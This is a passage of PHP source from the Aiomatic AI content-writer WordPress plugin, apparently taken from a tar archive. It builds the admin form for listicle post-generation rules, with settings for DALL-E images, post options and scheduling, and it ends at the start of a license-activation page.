'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Image Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[ai_command_image][]" placeholder="Please insert a command for the AI image generator" class="cr_width_full">' . esc_textarea($ai_command_image) . '</textarea> </div> </td></tr> <tr class="hideDalle' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Image Model", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[image_model][]" class="cr_width_full"> <option value="dalle2"'; if ($image_model == 'dalle2') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="dalle3"'; if ($image_model == 'dalle3') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="dalle3hd"'; if ($image_model == 'dalle3hd') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hideImg' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Image Size", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[image_size][]" class="cr_width_full"> <option value="256x256"'; if ($image_size == '256x256') { $output .= ' selected'; } $output .= '>' . esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="512x512"'; if ($image_size == '512x512') { $output .= ' selected'; } $output .= '>' . esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1024x1024"'; if ($image_size == '1024x1024') { $output .= ' selected'; } $output .= '>' . esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1792x1024"'; if ($image_size == '1792x1024') { $output .= ' selected'; } $output .= '>' . esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1024x1792"'; if ($image_size == '1024x1792') { $output .= ' selected'; } $output .= '>' . esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Default Featured Image List", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_listicle_list[image_url][]" placeholder="Please insert the link to a valid image (spintax supported)">' . esc_textarea($image_url) . '</textarea> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Posting Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("HTML Text To Prepend To AI Created Content", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[post_prepend][]" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full">' . esc_textarea($post_prepend) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("HTML Text To Append To AI Created Content", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[post_append][]" placeholder="HTML content to append to the AI generated content" class="cr_width_full">' . esc_textarea($post_append) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Custom Shortcode Creator (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b><span class="tool" data-tip="Supported models: ' . implode(',', aiomatic_get_all_models()) . '"> ⓘ</span> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[custom_shortcodes][]" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="cr_width_full">' . esc_textarea($custom_shortcodes) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Strip Title From Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="strip_title" name="aiomatic_listicle_list[strip_title][]"'; if($strip_title == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Spin Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_spin" name="aiomatic_listicle_list[skip_spin][]"'; if($skip_spin == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Translate Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_translate" name="aiomatic_listicle_list[skip_translate][]"'; if($skip_translate == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Process Each Title/Topic Only Once", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="title_once" name="aiomatic_listicle_list[title_once][]"'; if($title_once == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Overwrite Existing Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="overwrite_existing" name="aiomatic_listicle_list[overwrite_existing][]"'; if($overwrite_existing == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_listicle_list[strip_by_regex][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Content)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_listicle_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Author", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_listicle_list[post_author][]" class="cr_width_full">'; $output .= '<option value="rand"'; if ($post_user_name == "rand") { $output .= " selected"; } $output .= '>' . esc_html__("Random user", 'aiomatic-automatic-ai-content-writer') . '</option>'; $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { $output .= '<option value="' . esc_html($user->ID) . '"'; if ($post_user_name == $user->ID) { $output .= " selected"; } $output .= '>' . esc_html($user->display_name) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Status", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_listicle_list[submit_status][]" class="cr_width_full"> <option value="pending"'; if ($status == 'pending') { $output .= ' selected'; } $output .= '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if ($status == 'draft') { $output .= ' selected'; } $output .= '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="publish"'; if ($status == 'publish') { $output .= ' selected'; } $output .= '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if ($status == 'private') { $output .= ' selected'; } $output .= '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if ($status == 'trash') { $output .= ' selected'; } $output .= '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Item Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_listicle_list[default_type][]" class="cr_width_full">'; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } $output .= '<option value="' . esc_attr($post_type) . '"'; if ($def_type == $post_type) { $output .= ' selected'; } $output .= '>' . esc_html($post_type) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__('If your template supports "Post Formats", than you can select one here. If not, leave this at it\'s default value.', 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Post Format", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" id="post_format" name="aiomatic_listicle_list[post_format][]" class="cr_width_full"> <option value="post-format-standard"'; if ($post_format == 'post-format-standard') { $output .= ' selected'; } $output .= '>' . esc_html__("Standard", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-aside"'; if ($post_format == 'post-format-aside') { $output .= ' selected'; } $output .= '>' . esc_html__("Aside", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-gallery"'; if ($post_format == 'post-format-gallery') { $output .= ' selected'; } $output .= '>' . esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-link"'; if ($post_format == 'post-format-link') { $output .= ' selected'; } $output .= '>' . esc_html__("Link", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-image"'; if ($post_format == 'post-format-image') { $output .= ' selected'; } $output .= '>' . esc_html__("Image", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-quote"'; if ($post_format == 'post-format-quote') { $output .= ' selected'; } $output .= '>' . esc_html__("Quote", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-status"'; if ($post_format == 'post-format-status') { $output .= ' selected'; } $output .= '>' . esc_html__("Status", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-video"'; if ($post_format == 'post-format-video') { $output .= ' selected'; } $output .= '>' . esc_html__("Video", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-audio"'; if ($post_format == 'post-format-audio') { $output .= ' selected'; } $output .= '>' . esc_html__("Audio", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-chat"'; if ($post_format == 'post-format-chat') { $output .= ' selected'; } $output .= '>' . esc_html__("Chat", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Parent ID", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_listicle_list[parent_id][]" value="' . esc_attr($parent_id) . '" placeholder="Post parent ID" class="cr_width_full"> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Comments For Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_comments" name="aiomatic_listicle_list[enable_comments][]"'; if ($enable_comments == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable pingbacks and trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Pingback/Trackback", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_pingback" name="aiomatic_listicle_list[enable_pingback][]"'; if ($enable_pingback == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ) . ' </div> </div> <b>' . esc_html__("Set a Custom Post Publish Date Range", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="min_time" name="aiomatic_listicle_list[min_time][]" value="' . esc_attr($min_time) . '" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_listicle_list[max_time][]" value="' . esc_attr($max_time) . '" placeholder="End time" class="cr_half"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Fields", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_listicle_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_fields) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Taxonomies", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_listicle_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_tax) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Assign WPML/Polylang Language to Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_listicle_list[wpml_lang][]" value="' . esc_attr($wpml_lang) . '" placeholder="WPML/Polylang language" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Scheduling Restrictions', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Run This Rule On The Following Days Of The Week", 'aiomatic-automatic-ai-content-writer') . ':</b> <br/>' . esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s") . ' </td><td> <input type="text" class="cr_width_full" name="aiomatic_listicle_list[days_no_run][]" value="' . esc_attr($days_no_run) . '" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </div> </td></tr> </table></div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3><span id="aiomatic_ok' . esc_html($cont) . '" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="wpaiomatic-delete">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_listicle_list[active][]" class="activateDeactivateClass" value="1"'; if (isset($active) && $active === '1') { $output .= ' checked'; } $output .= '/> <input type="hidden" name="aiomatic_listicle_list[last_run][]" value="' . esc_attr($last_run) . '"/> <input type="hidden" name="aiomatic_listicle_list[rule_unique_id][]" value="' . esc_attr($rule_unique_id) . '"/></td> <td class="cr_shrt_td2"><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( 'Shortcode for this rule<br/>(to cross-post from this plugin in other plugins):', 'aiomatic-automatic-ai-content-writer'), array( 'br' => array( ) ) ) ) . '<br/><b>%%aiomatic_6_' . esc_html($cont) . '%% and %%aiomatic_title_6_' . esc_html($cont) . '%%</b><br/>' . esc_html__('Posts Generated:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($generated_posts) . '<br/>'; if ($generated_posts != 0) { $output .= '<a href="' . get_admin_url() . 'edit.php?coderevolution_post_source=Aiomatic_6_' . esc_html($cont) . '&post_type=' . esc_html($def_type) . '" target="_blank">' . esc_html__('View Generated Posts', 'aiomatic-automatic-ai-content-writer') . '</a><br/>'; } $output .= esc_html__('Last Run: ', 'aiomatic-automatic-ai-content-writer'); if ($last_run == '1988-01-27 00:00:00') { $output .= 'Never'; } else { $output .= $last_run; } $output .= '<br/>' . esc_html__('Next Run: ', 'aiomatic-automatic-ai-content-writer'); if($unlocker == '1') { $nextrun = aiomatic_add_minute($last_run, $schedule); } else { $nextrun = aiomatic_add_hour($last_run, $schedule); } $now = aiomatic_get_date_now(); if (isset($active) && $active === '1') { if($unlocker == '1') { $aiomatic_hour_diff = (int)aiomatic_minute_diff($now, $nextrun); } else { $aiomatic_hour_diff = (int)aiomatic_hour_diff($now, $nextrun); } if ($aiomatic_hour_diff >= 0) { if($unlocker == '1') { $append = 'Now.'; } else { $append = 'Now.'; } $cron = _get_cron_array(); if ($cron != FALSE) { $date_format = _x('Y-m-d H:i:s', 'Date Time Format1', 'aiomatic-automatic-ai-content-writer'); foreach ($cron as $timestamp => $cronhooks) { foreach ((array) $cronhooks as $hook => $events) { if ($hook == 'aiomaticaction') { foreach ((array) $events as $key => $event) { $append = date_i18n($date_format, $timestamp); } } } } } $output .= $append; } else { $output .= $nextrun; } } else { $output .= esc_html__('Rule Disabled', 'aiomatic-automatic-ai-content-writer'); } $output .= '<br/>' . esc_html__('Local Time: ', 'aiomatic-automatic-ai-content-writer') . $now; $output .= '</div> </div></td> <td class="cr_center"> <div> <img id="run_img' . esc_html($cont) . '" src="' . plugin_dir_url(dirname(__FILE__)) . 'images/running.gif' . '" alt="Running" class="cr_status_icon'; if (!empty($running)) { if (!in_array(array($cont => 6), $running)) { $f = fopen(get_temp_dir() . 'aiomatic_6_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_6_' . $cont); } $output .= ' cr_hidden'; } else { $f = fopen(get_temp_dir() . 'aiomatic_6_' . $cont, 'w'); if($f !== false) { if (!flock($f, LOCK_EX | LOCK_NB)) { } else { $output .= ' cr_hidden'; flock($f, LOCK_UN); if (($xxkey = array_search(array($cont => 6), $running)) !== false) { unset($running[$xxkey]); update_option('aiomatic_running_list', $running); } } } } } else { $f = fopen(get_temp_dir() . 'aiomatic_6_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_6_' . $cont); } $output .= ' cr_hidden'; } $output .= '" title="status"> <div class="codemainfzr cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" onchange="actionsChangedManual(' . esc_html($cont) . ', this.value, 6, \'' . esc_html($rule_unique_id) . '\');" onfocus="this.selectedIndex = 0;"> <option value="select" disabled selected>' . esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="run">' . esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="duplicate">' . esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="up">' . esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="down">' . esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash">' . esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="delete">' . esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </div> </td> </tr> '; $cont = $cont + 1; } } return $output; } ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-activation.php�������������������������������������������������������������������������0000644�����������������00000012614�14757771437�0012025 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_admin_settings() { $plugin = plugin_basename(__FILE__); $plugin_slug = explode('/', $plugin); $plugin_slug = $plugin_slug[0]; $uoptions = array(); $is_activated = aiomatic_is_activated($plugin_slug, $uoptions); if($is_activated === true) { ?> <div class="verification-container"> <div class="help-section"> <div class="help-icon"> <span class="dashicons dashicons-editor-help"></span> </div> <div class="help-text"> <?php echo sprintf( wp_kses( __( 'The plugin is registered correctly. You can revoke your license here.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) 